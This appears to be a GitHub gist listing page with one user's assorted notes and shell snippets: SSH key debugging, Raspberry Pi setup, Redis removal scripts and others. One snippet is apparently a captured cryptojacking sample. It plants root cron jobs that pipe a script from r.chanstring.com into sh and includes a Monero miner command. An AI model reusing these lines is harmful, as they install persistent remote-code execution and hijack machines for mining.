- Have a git config file that has default pattern matching like * to let client use default ssh key id_rsa
- Make a new config block to match private git hostname and let client use authorized ssh key
- Try cloning private repo -> doesn't work -> guess that ssh client is still somehow using id_rsa instead of authorized keys
- Try removing all keys from ssh-add and re-add, still doesn't work
- Try looking at the process by running
ssh -v git@[private host name]-> see that it's successfully handshaked with private host name using id_rsa - Well because ssh client can fallback to the default key to connect to private host name, it doesn't need to use authorized ssh key
- But that shouldn't be the case because eventually it will fail at some point like at the beginning
- Seems like a bug. Guess that the private group's domain is accessible via SSH but the private repos are not hence the weird scenario.
- But at least there is a workaround. Just remove the default pattern matching
IdentityFile id_rsaand it wi
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Save this script at /Users/{your username}/Library/Application\ Support/Sublime\ Text\ 3/Packages/node_env.py | |
| # Inspired by https://gist.github.com/joesepi/11269417 | |
| import os | |
| nvm_path = '%(home)s/.nvm' % {'home': os.path.expanduser("~")} | |
| nvm_default_file_path = '%(root)s/alias/default' % {'root': nvm_path} | |
| nvm_node_root = '%(root)s/versions/node' % {'root': nvm_path} | |
| # Grab default alias |
- Get a mouse, copy image to SD, start Pi --> initially there's only one partition called "recovery"
- Attach Pi to screen, click install
- Plug SD to computer again --> now there's another partition called "boot"
- Create an empty file called "ssh" (no extension) in "boot" partition
- Now ssh is enabled. Plug Pi to ethernet cable. On ssh client, ssh to pi@< IP address of Pi> (IP address can be obtained by logging in to LAN control panel or use network scanner. Probably should give Pi static address to ease subsequent connections)
- https://docs.dataplicity.com/docs/make-a-remote-graphical-interface-for-your-pi
- After pairing, can use laptop keyboard to config wifi (or follow guide here https://www.raspberrypi.org/documentation/configuration/wireless/wireless-cli.md). Note that resolution should be 1280x720 instead of 1920*1280
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin | |
| echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root | |
| mkdir -p /var/spool/cron/crontabs | |
| echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root | |
| # ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr & | |
| if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then |
- A space-efficient data structure used to test whether an element is in a set or not.
- False positives can be tolerated. False negatives can not.
- Answer can be either "element is possibly in set" or "element is definitely not in set".
- Applications: CDN, cache, synchronization ...
- A gives argument X.
- B tries to defeat argument Y which is superficially similar to X, then conclude that B has defeated X.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Check for rootkit, keylogger etc | |
| http://www.chkrootkit.org/ | |
| # Check for suspicious network activities | |
| https://www.obdev.at/products/littlesnitch/index.html |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Download whole HTTP directories | |
| # https://stackoverflow.com/questions/23446635/how-to-download-http-directory-with-all-files-and-sub-directories-as-they-appear | |
| # Added wildcard to index.html so that junks that have similar prefix won't be downloaded | |
| # Tested with downloading old IOI problem sets and solutions i.e http://olympiads.win.tue.nl/ioi/ioi2004/contest/ | |
| wget -r -np -nH --cut-dirs=3 -R index.html* http://hostname/aaa/bbb/ccc/ddd/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Rebuild index for spotlight | |
| sudo mdutil -i off / | |
| sudo mdutil -E / | |
| sudo mdutil -i on / |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| sudo rm -rf /usr/local/bin/redis-* | |
| sudo rm -rf /etc/init.d/redis_6379 | |
| sudo rm -rf /var/redis/ | |
| sudo rm -rf /etc/redis/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Stop current redis process if any | |
| sudo /etc/init.d/redis_6379 stop | |
| # Reset previous configs if any | |
| sudo rm -rf /usr/local/bin/redis-* | |
| sudo rm -rf /etc/init.d/redis_6379 | |
| sudo rm -rf /var/redis/ | |
| sudo rm -rf /etc/redis/ |